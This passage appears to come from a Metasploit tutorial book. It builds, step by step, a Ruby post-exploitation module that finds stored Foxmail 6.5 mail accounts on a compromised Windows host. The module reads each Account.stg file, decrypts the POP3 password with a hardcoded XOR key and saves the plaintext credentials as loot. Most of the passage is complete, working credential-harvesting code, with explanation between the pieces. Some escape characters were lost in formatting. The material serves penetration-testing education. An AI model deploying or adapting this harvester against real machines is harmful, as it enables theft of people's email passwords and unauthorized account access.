Writing a credential harvester post-exploitation module
In this example module, we will attack Foxmail 6.5. We will try decrypting the credentials and store them in the database. Let's see the code:
class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles def initialize(info={}) super(update_info(info, 'Name' => 'FoxMail 6.5 Credential Harvester', 'Description' => %q{ This Module Finds and Decrypts Stored Foxmail 6.5 Credentials }, 'License' => MSF_LICENSE, 'Author' => ['Nipun Jaswal'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end
Quite simple, as we saw in the previous module; we start by including all the required libraries and providing the basic information about the module.
We have already seen the usage of Msf::Post::Windows::Registry and Msf::Auxiliary::Report. Let's look at the details of the new libraries we included in this module, as follows:
Before understanding the next part of the module, let's see what we need to perform to harvest the credentials:
- We will search for user profiles and find the exact path for the current user's LocalAppData directory.
- We will use the previously found path and concatenate it with \VirtualStore\Program Files (x86)\Tencent\Foxmail\mail to establish a complete path to the mail directory.
- We will list all the directories from the mail directory and will store them in an array. However, the directory names in the mail directory will use the naming convention of the username for various mail providers. For example, nipunjaswal@rocketmail.com would be one of the directories present in the mail directory.
- Next, we will find Account.stg file in the accounts directories, found under the mail directory.
- We will read the Account.stg file and will find the hash value for the constant named POP3Password.
- We will pass the hash value to our decryption method, which will find the password in plain text.
- We will store the value in the database.
Quite simple! Let's analyze the code:
def run profile = grab_user_profiles() counter = 0 data_entry = "" profile.each do |user| if user['LocalAppData'] full_path = user['LocalAppData'] full_path = full_path+"\VirtualStore\Program Files (x86)\Tencent\Foxmail\mail" if directory?(full_path) print_good("Fox Mail Installed, Enumerating Mail Accounts") session.fs.dir.foreach(full_path) do |dir_list| if dir_list =~ /@/ counter=counter+1 full_path_mail = full_path+ "\" + dir_list + "\" + "Account.stg" if file?(full_path_mail) print_good("Reading Mail Account #{counter}") file_content = read_file(full_path_mail).split("n")
Before starting to understand the previous code, let's see what important functions are used in it, for a better approach toward its usage:
We can see in the preceding code that we grabbed the profiles using grab_user_profiles() and, for each profile, we tried finding the LocalAppData directory. As soon as we found it, we stored it in a variable called full_path.
Next, we concatenated the path to the mail folder where all the accounts are listed as directories. We checked the path existence using directory?; and, on success, we copied all the directory names that contained @ in the name to the dir_list using regex match. Next, we created another variable called full_path_mail and stored the exact path to the Account.stg file for each email. We made sure that the Account.stg file existed by using file?. On success, we read the file and split all the contents at newline. We stored the split content into the file_content list. Let's see the next part of the code:
file_content.each do |hash| if hash =~ /POP3Password/ hash_data = hash.split("=") hash_value = hash_data[1] if hash_value.nil? print_error("No Saved Password") else print_good("Decrypting Password for mail account: #{dir_list}") decrypted_pass = decrypt(hash_value,dir_list) data_entry << "Username:" +dir_list + "t" + "Password:" + decrypted_pass+"n" end end end end end end end end end store_loot("Foxmail Accounts","text/plain",session,data_entry,"Fox.txt","Fox Mail Accounts") end
For each entry in file_content, we ran a check to find the constant POP3Password. Once found, we split the constant at = and stored the value of the constant in a variable, hash_value.
Next, we directly pass the hash_value and dir_list (account name) to the decrypt function. After successful decryption, the plain password gets stored in the decrypted_pass variable. We create another variable called data_entry and append all the credentials to it. We do this because we don't know how many email accounts might be configured on the target. Therefore, for each result, the credentials get appended to data_entry. After all the operations are complete, we store the data_entry variable in the database using the store_loot method. We supply six arguments to the store_loot method, which are named for the harvest, its content type, session, data_entry, the name of the file, and the description of the harvest.
Let's understand the decryption function, as follows:
def decrypt(hash_real,dir_list) decoded = "" magic = Array[126, 100, 114, 97, 71, 111, 110, 126] fc0 = 90 size = (hash_real.length)/2 - 1 index = 0 b = Array.new(size) for i in 0 .. size do b[i] = (hash_real[index,2]).hex index = index+2 end b[0] = b[0] ^ fc0 double_magic = magic+magic d = Array.new(b.length-1) for i in 1 .. b.length-1 do d[i-1] = b[i] ^ double_magic[i-1] end e = Array.new(d.length) for i in 0 .. d.length-1 if (d[i] - b[i] < 0) e[i] = d[i] + 255 - b[i] else e[i] = d[i] - b[i] end decoded << e[i].chr end print_good("Found Username #{dir_list} with Password: #{decoded}") return decoded end end
In the previous method, we received two arguments, which are the hashed password and username. The magic variable is the decryption key stored in an array containing decimal values for the ~draGon~ string, one after the other. We store the integer 90 as fc0, which we will talk about a bit later.
Next, we find the size of the hash by piding it by two and subtracting one from it. This will be the size of our new array, b.
In the next step, we split the hash into bytes (two characters each) and store the same into array b. We perform XOR on the first byte of array b, with fc0 into the first byte of b itself, thus updating the value of b[0] by performing the XOR operation on it with 90. This is fixed for Foxmail 6.5.
Now, we copy the array magic twice into a new array, double_magic. We also declare the size of double_magic one less than that of array b. We perform XOR on all the elements of array b and the double_magic array, except the first element of b on which we already performed a XOR operation.
We store the result of the XOR operation in array d. We subtract the complete array d from array b in the next instruction. However, if the value is less than 0 for a particular subtraction operation, we add 255 to the element of array d.
In the next step, we simply append the ASCII value of the particular element from the resultant array e into the decoded variable, and return it to the calling statement.
Let's see what happens when we run this module:
It is clear that we easily decrypted the credentials stored in Foxmail 6.5.